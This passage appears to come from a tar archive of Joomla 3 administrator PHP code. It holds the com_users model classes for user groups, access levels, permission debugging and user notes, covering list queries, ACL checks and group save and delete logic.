		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('content');

		// Load the user plugins for backward compatibility (v3.3.3 and earlier).
		JPluginHelper::importPlugin('user');

		// Trigger the data preparation event.
		$dispatcher->trigger('onContentPrepareData', array('com_users.note', $result));

		return $result;
	}

	/**
	 * Method to get a table object, load it if necessary.
	 *
	 * @param   string  $name     The table name. Optional.
	 * @param   string  $prefix   The class prefix. Optional.
	 * @param   array   $options  Configuration array for model. Optional.
	 *
	 * @return  JTable  The table object
	 *
	 * @since   2.5
	 */
	public function getTable($name = 'Note', $prefix = 'UsersTable', $options = array())
	{
		return JTable::getInstance($name, $prefix, $options);
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Get the application
		$app = JFactory::getApplication();

		// Check the session for previously entered form data.
		$data = $app->getUserState('com_users.edit.note.data', array());

		if (empty($data))
		{
			$data = $this->getItem();

			// Prime some default values.
			if ($this->getState('note.id') == 0)
			{
				$data->set('catid', $app->input->get('catid', $app->getUserState('com_users.notes.filter.category_id'), 'int'));
			}

			$userId = $app->input->get('u_id', 0, 'int');

			if ($userId != 0)
			{
				$data->user_id = $userId;
			}
		}

		$this->preprocessData('com_users.note', $data);

		return $data;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function populateState()
	{
		parent::populateState();

		$userId = JFactory::getApplication()->input->get('u_id', 0, 'int');
		$this->setState('note.user_id', $userId);
	}
}
com_users/models/groups.php000060400000013436152455305320012065 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Methods supporting a list of user group records.
 *
 * @since  1.6
 */
class UsersModelGroups extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'parent_id', 'a.parent_id',
				'title', 'a.title',
				'lft', 'a.lft',
				'rgt', 'a.rgt',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.lft', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));

		// Load the parameters.
		$params = JComponentHelper::getParams('com_users');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');

		return parent::getStoreId($id);
	}

	/**
	 * Gets the list of groups and adds expensive joins to the result set.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItems()
	{
		// Get a storage key.
		$store = $this->getStoreId();

		// Try to load the data from internal storage.
		if (empty($this->cache[$store]))
		{
			$items = parent::getItems();

			// Bail out on an error or empty list.
			if (empty($items))
			{
				$this->cache[$store] = $items;

				return $items;
			}

			try
			{
				$items = $this->populateExtraData($items);
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}

			// Add the items to the internal cache.
			$this->cache[$store] = $items;
		}

		return $this->cache[$store];
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.*'
			)
		);
		$query->from($db->quoteName('#__usergroups') . ' AS a');

		// Filter the comments over the search string if set.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('a.title LIKE ' . $search);
			}
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.lft')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Populate level & path for items.
	 *
	 * @param   array  $items  Array of stdClass objects
	 *
	 * @return  array
	 *
	 * @since   3.6.3
	 */
	private function populateExtraData(array $items)
	{
		// First pass: get list of the group id's and reset the counts.
		$groupsByKey = array();

		foreach ($items as $item)
		{
			$groupsByKey[(int) $item->id] = $item;
		}

		$groupIds = array_keys($groupsByKey);

		$db = $this->getDbo();

		// Get total enabled users in group.
		$query = $db->getQuery(true);

		// Count the objects in the user group.
		$query->select('map.group_id, COUNT(DISTINCT map.user_id) AS user_count')
			->from($db->quoteName('#__user_usergroup_map', 'map'))
			->join('LEFT', $db->quoteName('#__users', 'u') . ' ON ' . $db->quoteName('u.id') . ' = ' . $db->quoteName('map.user_id'))
			->where($db->quoteName('map.group_id') . ' IN (' . implode(',', $groupIds) . ')')
			->where($db->quoteName('u.block') . ' = 0')
			->group($db->quoteName('map.group_id'));
		$db->setQuery($query);

		try
		{
			$countEnabled = $db->loadAssocList('group_id', 'count_enabled');
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// Get total disabled users in group.
		$query->clear('where')
			->where('map.group_id IN (' . implode(',', $groupIds) . ')')
			->where('u.block = 1');
		$db->setQuery($query);

		try
		{
			$countDisabled = $db->loadAssocList('group_id', 'count_disabled');
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// Inject the values back into the array.
		foreach ($groupsByKey as &$item)
		{
			$item->count_enabled   = isset($countEnabled[$item->id]) ? (int) $countEnabled[$item->id]['user_count'] : 0;
			$item->count_disabled  = isset($countDisabled[$item->id]) ? (int) $countDisabled[$item->id]['user_count'] : 0;
			$item->user_count      = $item->count_enabled + $item->count_disabled;
		}

		$groups = new JHelperUsergroups($groupsByKey);

		return array_values($groups->getAll());
	}
}
com_users/models/debuggroup.php000060400000014314152455305320012705 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('UsersHelperDebug', JPATH_ADMINISTRATOR . '/components/com_users/helpers/debug.php');

/**
 * Methods supporting a list of User ACL permissions
 *
 * @since  1.6
 */
class UsersModelDebuggroup extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   3.6.0
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'a.title',
				'component', 'a.name',
				'a.lft',
				'a.id',
				'level_start', 'level_end', 'a.level',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Get a list of the actions.
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public function getDebugActions()
	{
		$component = $this->getState('filter.component');

		return UsersHelperDebug::getDebugActions($component);
	}

	/**
	 * Override getItems method.
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public function getItems()
	{
		$groupId = $this->getState('group_id');

		if (($assets = parent::getItems()) && $groupId)
		{
			$actions = $this->getDebugActions();

			foreach ($assets as &$asset)
			{
				$asset->checks = array();

				foreach ($actions as $action)
				{
					$name = $action[0];

					$asset->checks[$name] = JAccess::checkGroup($groupId, $name, $asset->name);
				}
			}
		}

		return $assets;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.lft', $direction = 'asc')
	{
		$app = JFactory::getApplication('administrator');

		// Adjust the context to support modal layouts.
		$layout = $app->input->get('layout', 'default');

		if ($layout)
		{
			$this->context .= '.' . $layout;
		}

		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('group_id', $this->getUserStateFromRequest($this->context . '.group_id', 'group_id', 0, 'int', false));

		$levelStart = $this->getUserStateFromRequest($this->context . '.filter.level_start', 'filter_level_start', '', 'cmd');
		$this->setState('filter.level_start', $levelStart);

		$value = $this->getUserStateFromRequest($this->context . '.filter.level_end', 'filter_level_end', '', 'cmd');

		if ($value > 0 && $value < $levelStart)
		{
			$value = $levelStart;
		}

		$this->setState('filter.level_end', $value);

		$this->setState('filter.component', $this->getUserStateFromRequest($this->context . '.filter.component', 'filter_component', '', 'string'));

		// Load the parameters.
		$params = JComponentHelper::getParams('com_users');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('group_id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.level_start');
		$id .= ':' . $this->getState('filter.level_end');
		$id .= ':' . $this->getState('filter.component');

		return parent::getStoreId($id);
	}

	/**
	 * Get the group being debugged.
	 *
	 * @return  JObject
	 *
	 * @since   1.6
	 */
	public function getGroup()
	{
		$groupId = (int) $this->getState('group_id');

		$db = $this->getDbo();
		$query = $db->getQuery(true)
			->select('id, title')
			->from('#__usergroups')
			->where('id = ' . $groupId);

		$db->setQuery($query);

		try
		{
			$group = $db->loadObject();
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		return $group;
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.id, a.name, a.title, a.level, a.lft, a.rgt'
			)
		);
		$query->from($db->quoteName('#__assets', 'a'));

		// Filter the items over the search string if set.
		if ($this->getState('filter.search'))
		{
			// Escape the search token.
			$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($this->getState('filter.search')), true) . '%'));

			// Compile the different search clauses.
			$searches = array();
			$searches[] = 'a.name LIKE ' . $search;
			$searches[] = 'a.title LIKE ' . $search;

			// Add the clauses to the query.
			$query->where('(' . implode(' OR ', $searches) . ')');
		}

		// Filter on the start and end levels.
		$levelStart = (int) $this->getState('filter.level_start');
		$levelEnd = (int) $this->getState('filter.level_end');

		if ($levelEnd > 0 && $levelEnd < $levelStart)
		{
			$levelEnd = $levelStart;
		}

		if ($levelStart > 0)
		{
			$query->where('a.level >= ' . $levelStart);
		}

		if ($levelEnd > 0)
		{
			$query->where('a.level <= ' . $levelEnd);
		}

		// Filter the items over the component if set.
		if ($this->getState('filter.component'))
		{
			$component = $this->getState('filter.component');
			$query->where('(a.name = ' . $db->quote($component) . ' OR a.name LIKE ' . $db->quote($component . '.%') . ')');
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.lft')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}
}
com_users/models/levels.php000060400000012342152455305320012033 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Methods supporting a list of user access level records.
 *
 * @since  1.6
 */
class UsersModelLevels extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'ordering', 'a.ordering',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.ordering', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search'));

		// Load the parameters.
		$params = JComponentHelper::getParams('com_users');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.*'
			)
		);
		$query->from($db->quoteName('#__viewlevels') . ' AS a');

		// Add the level in the tree.
		$query->group('a.id, a.title, a.ordering, a.rules');

		// Filter the items over the search string if set.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('a.title LIKE ' . $search);
			}
		}

		$query->group('a.id');

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Method to adjust the ordering of a row.
	 *
	 * @param   integer  $pk         The ID of the primary key to move.
	 * @param   integer  $direction  Increment, usually +1 or -1
	 *
	 * @return  boolean  False on failure or error, true otherwise.
	 */
	public function reorder($pk, $direction = 0)
	{
		// Sanitize the id and adjustment.
		$pk = (!empty($pk)) ? $pk : (int) $this->getState('level.id');
		$user = JFactory::getUser();

		// Get an instance of the record's table.
		$table = JTable::getInstance('viewlevel');

		// Load the row.
		if (!$table->load($pk))
		{
			$this->setError($table->getError());

			return false;
		}

		// Access checks.
		$allow = $user->authorise('core.edit.state', 'com_users');

		if (!$allow)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));

			return false;
		}

		// Move the row.
		// TODO: Where clause to restrict category.
		$table->move($pk);

		return true;
	}

	/**
	 * Saves the manually set order of records.
	 *
	 * @param   array    $pks    An array of primary key ids.
	 * @param   integer  $order  Order position
	 *
	 * @return  boolean|JException  Boolean true on success, boolean false or JException instance on error
	 */
	public function saveorder($pks, $order)
	{
		$table = JTable::getInstance('viewlevel');
		$user = JFactory::getUser();
		$conditions = array();

		if (empty($pks))
		{
			return JError::raiseWarning(500, JText::_('COM_USERS_ERROR_LEVELS_NOLEVELS_SELECTED'));
		}

		// Update ordering values
		foreach ($pks as $i => $pk)
		{
			$table->load((int) $pk);

			// Access checks.
			$allow = $user->authorise('core.edit.state', 'com_users');

			if (!$allow)
			{
				// Prune items that you can't change.
				unset($pks[$i]);
				JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));
			}
			elseif ($table->ordering != $order[$i])
			{
				$table->ordering = $order[$i];

				if (!$table->store())
				{
					$this->setError($table->getError());

					return false;
				}
			}
		}

		// Execute reorder for each category.
		foreach ($conditions as $cond)
		{
			$table->load($cond[0]);
			$table->reorder($cond[1]);
		}

		return true;
	}
}
com_users/models/debuguser.php000060400000013664152455305320012536 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('UsersHelperDebug', JPATH_ADMINISTRATOR . '/components/com_users/helpers/debug.php');

/**
 * Methods supporting a list of User ACL permissions
 *
 * @since  1.6
 */
class UsersModelDebugUser extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JController
	 * @since   3.6.0
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'a.title',
				'component', 'a.name',
				'a.lft',
				'a.id',
				'level_start', 'level_end', 'a.level',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Get a list of the actions.
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public function getDebugActions()
	{
		$component = $this->getState('filter.component');

		return UsersHelperDebug::getDebugActions($component);
	}

	/**
	 * Override getItems method.
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public function getItems()
	{
		$userId = $this->getState('user_id');
		$user   = JFactory::getUser($userId);

		if (($assets = parent::getItems()) && $userId)
		{
			$actions = $this->getDebugActions();

			foreach ($assets as &$asset)
			{
				$asset->checks = array();

				foreach ($actions as $action)
				{
					$name = $action[0];

					$asset->checks[$name] = $user->authorise($name, $asset->name);
				}
			}
		}

		return $assets;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.lft', $direction = 'asc')
	{
		$app = JFactory::getApplication('administrator');

		// Adjust the context to support modal layouts.
		$layout = $app->input->get('layout', 'default');

		if ($layout)
		{
			$this->context .= '.' . $layout;
		}

		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('user_id', $this->getUserStateFromRequest($this->context . '.user_id', 'user_id', 0, 'int', false));

		$levelStart = $this->getUserStateFromRequest($this->context . '.filter.level_start', 'filter_level_start', '', 'cmd');
		$this->setState('filter.level_start', $levelStart);

		$value = $this->getUserStateFromRequest($this->context . '.filter.level_end', 'filter_level_end', '', 'cmd');

		if ($value > 0 && $value < $levelStart)
		{
			$value = $levelStart;
		}

		$this->setState('filter.level_end', $value);

		$this->setState('filter.component', $this->getUserStateFromRequest($this->context . '.filter.component', 'filter_component', '', 'string'));

		// Load the parameters.
		$params = JComponentHelper::getParams('com_users');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('user_id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.level_start');
		$id .= ':' . $this->getState('filter.level_end');
		$id .= ':' . $this->getState('filter.component');

		return parent::getStoreId($id);
	}

	/**
	 * Get the user being debugged.
	 *
	 * @return  JUser
	 *
	 * @since   1.6
	 */
	public function getUser()
	{
		$userId = $this->getState('user_id');

		return JFactory::getUser($userId);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.id, a.name, a.title, a.level, a.lft, a.rgt'
			)
		);
		$query->from($db->quoteName('#__assets', 'a'));

		// Filter the items over the search string if set.
		if ($this->getState('filter.search'))
		{
			// Escape the search token.
			$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($this->getState('filter.search')), true) . '%'));

			// Compile the different search clauses.
			$searches = array();
			$searches[] = 'a.name LIKE ' . $search;
			$searches[] = 'a.title LIKE ' . $search;

			// Add the clauses to the query.
			$query->where('(' . implode(' OR ', $searches) . ')');
		}

		// Filter on the start and end levels.
		$levelStart = (int) $this->getState('filter.level_start');
		$levelEnd = (int) $this->getState('filter.level_end');

		if ($levelEnd > 0 && $levelEnd < $levelStart)
		{
			$levelEnd = $levelStart;
		}

		if ($levelStart > 0)
		{
			$query->where('a.level >= ' . $levelStart);
		}

		if ($levelEnd > 0)
		{
			$query->where('a.level <= ' . $levelEnd);
		}

		// Filter the items over the component if set.
		if ($this->getState('filter.component'))
		{
			$component = $this->getState('filter.component');
			$query->where('(a.name = ' . $db->quote($component) . ' OR a.name LIKE ' . $db->quote($component . '.%') . ')');
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.lft')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}
}
com_users/models/group.php000060400000021014152455305320011671 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * User group model.
 *
 * @since  1.6
 */
class UsersModelGroup extends JModelAdmin
{
	/**
	 * Constructor
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 */
	public function __construct($config = array())
	{
		$config = array_merge(
			array(
				'event_after_delete'  => 'onUserAfterDeleteGroup',
				'event_after_save'    => 'onUserAfterSaveGroup',
				'event_before_delete' => 'onUserBeforeDeleteGroup',
				'event_before_save'   => 'onUserBeforeSaveGroup',
				'events_map'          => array('delete' => 'user', 'save' => 'user')
			), $config
		);

		parent::__construct($config);
	}

	/**
	 * Returns a reference to the a Table object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable	A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Usergroup', $prefix = 'JTable', $config = array())
	{
		$return = JTable::getInstance($type, $prefix, $config);

		return $return;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm	A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_users.group', 'group', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_users.edit.group.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_users.group', $data);

		return $data;
	}

	/**
	 * Override preprocessForm to load the user plugin group instead of content.
	 *
	 * @param   JForm   $form   A form object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @throws  Exception if there is an error loading the form.
	 */
	protected function preprocessForm(JForm $form, $data, $group = '')
	{
		$obj = is_array($data) ? ArrayHelper::toObject($data, 'JObject') : $data;

		if (isset($obj->parent_id) && $obj->parent_id == 0 && $obj->id > 0)
		{
			$form->setFieldAttribute('parent_id', 'type', 'hidden');
			$form->setFieldAttribute('parent_id', 'hidden', 'true');
		}

		parent::preprocessForm($form, $data, 'user');
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		// Include the user plugins for events.
		JPluginHelper::importPlugin($this->events_map['save']);

		/**
		 * Check the super admin permissions for group
		 * We get the parent group permissions and then check the group permissions manually
		 * We have to calculate the group permissions manually because we haven't saved the group yet
		 */
		$parentSuperAdmin = JAccess::checkGroup($data['parent_id'], 'core.admin');

		// Get core.admin rules from the root asset
		$rules = JAccess::getAssetRules('root.1')->getData('core.admin');

		// Get the value for the current group (will be true (allowed), false (denied), or null (inherit)
		$groupSuperAdmin = $rules['core.admin']->allow($data['id']);

		// We only need to change the $groupSuperAdmin if the parent is true or false. Otherwise, the value set in the rule takes effect.
		if ($parentSuperAdmin === false)
		{
			// If parent is false (Denied), effective value will always be false
			$groupSuperAdmin = false;
		}
		elseif ($parentSuperAdmin === true)
		{
			// If parent is true (allowed), group is true unless explicitly set to false
			$groupSuperAdmin = ($groupSuperAdmin === false) ? false : true;
		}

		// Check for non-super admin trying to save with super admin group
		$iAmSuperAdmin = JFactory::getUser()->authorise('core.admin');

		if (!$iAmSuperAdmin && $groupSuperAdmin)
		{
			$this->setError(JText::_('JLIB_USER_ERROR_NOT_SUPERADMIN'));

			return false;
		}

		/**
		 * Check for super-admin changing self to be non-super-admin
		 * First, are we a super admin
		 */
		if ($iAmSuperAdmin)
		{
			// Next, are we a member of the current group?
			$myGroups = JAccess::getGroupsByUser(JFactory::getUser()->get('id'), false);

			if (in_array($data['id'], $myGroups))
			{
				// Now, would we have super admin permissions without the current group?
				$otherGroups = array_diff($myGroups, array($data['id']));
				$otherSuperAdmin = false;

				foreach ($otherGroups as $otherGroup)
				{
					$otherSuperAdmin = $otherSuperAdmin ?: JAccess::checkGroup($otherGroup, 'core.admin');
				}

				/**
				 * If we would not otherwise have super admin permissions
				 * and the current group does not have super admin permissions, throw an exception
				 */
				if ((!$otherSuperAdmin) && (!$groupSuperAdmin))
				{
					$this->setError(JText::_('JLIB_USER_ERROR_CANNOT_DEMOTE_SELF'));

					return false;
				}
			}
		}

		if (JFactory::getApplication()->input->get('task') == 'save2copy')
		{
			$data['title'] = $this->generateGroupTitle($data['parent_id'], $data['title']);
		}

		// Proceed with the save
		return parent::save($data);
	}

	/**
	 * Method to delete rows.
	 *
	 * @param   array  &$pks  An array of item ids.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   1.6
	 * @throws  Exception
	 */
	public function delete(&$pks)
	{
		// Typecast variable.
		$pks    = (array) $pks;
		$user   = JFactory::getUser();
		$groups = JAccess::getGroupsByUser($user->get('id'));

		// Get a row instance.
		$table = $this->getTable();

		// Load plugins.
		JPluginHelper::importPlugin($this->events_map['delete']);
		$dispatcher = JEventDispatcher::getInstance();

		// Check if I am a Super Admin
		$iAmSuperAdmin = $user->authorise('core.admin');

		foreach ($pks as $pk)
		{
			// Do not allow to delete groups to which the current user belongs
			if (in_array($pk, $groups))
			{
				JError::raiseWarning(403, JText::_('COM_USERS_DELETE_ERROR_INVALID_GROUP'));

				return false;
			}
			// Check if the item exists.
			elseif (!$table->load($pk))
			{
				$this->setError($table->getError());

				return false;
			}
		}

		// Iterate the items to delete each one.
		foreach ($pks as $i => $pk)
		{
			if ($table->load($pk))
			{
				// Access checks.
				$allow = $user->authorise('core.edit.state', 'com_users');

				// Don't allow non-super-admin to delete a super admin
				$allow = (!$iAmSuperAdmin && JAccess::checkGroup($pk, 'core.admin')) ? false : $allow;

				if ($allow)
				{
					// Fire the before delete event.
					$dispatcher->trigger($this->event_before_delete, array($table->getProperties()));

					if (!$table->delete($pk))
					{
						$this->setError($table->getError());

						return false;
					}
					else
					{
						// Trigger the after delete event.
						$dispatcher->trigger($this->event_after_delete, array($table->getProperties(), true, $this->getError()));
					}
				}
				else
				{
					// Prune items that you can't change.
					unset($pks[$i]);
					JError::raiseWarning(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED'));
				}
			}
		}

		return true;
	}

	/**
	 * Method to generate the title of group on Save as Copy action
	 *
	 * @param   integer  $parentId  The id of the parent.
	 * @param   string   $title     The title of group
	 *
	 * @return  string  Contains the modified title.
	 *
	 * @since   3.3.7
	 */
	protected function generateGroupTitle($parentId, $title)
	{
		// Alter the title & alias
		$table = $this->getTable();

		while ($table->load(array('title' => $title, 'parent_id' => $parentId)))
		{
			if ($title == $table->title)
			{
				$title = StringHelper::increment($title);
			}
		}

		return $title;
	}
}
com_users/models/notes.php000060400000013433152455305320011673 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * User notes model class.
 *
 * @since  2.5
 */
class UsersModelNotes extends JModelList
{
	/**
	 * Class constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since  2.5
	 */
	public function __construct($config = array())
	{
		// Set the list ordering fields.
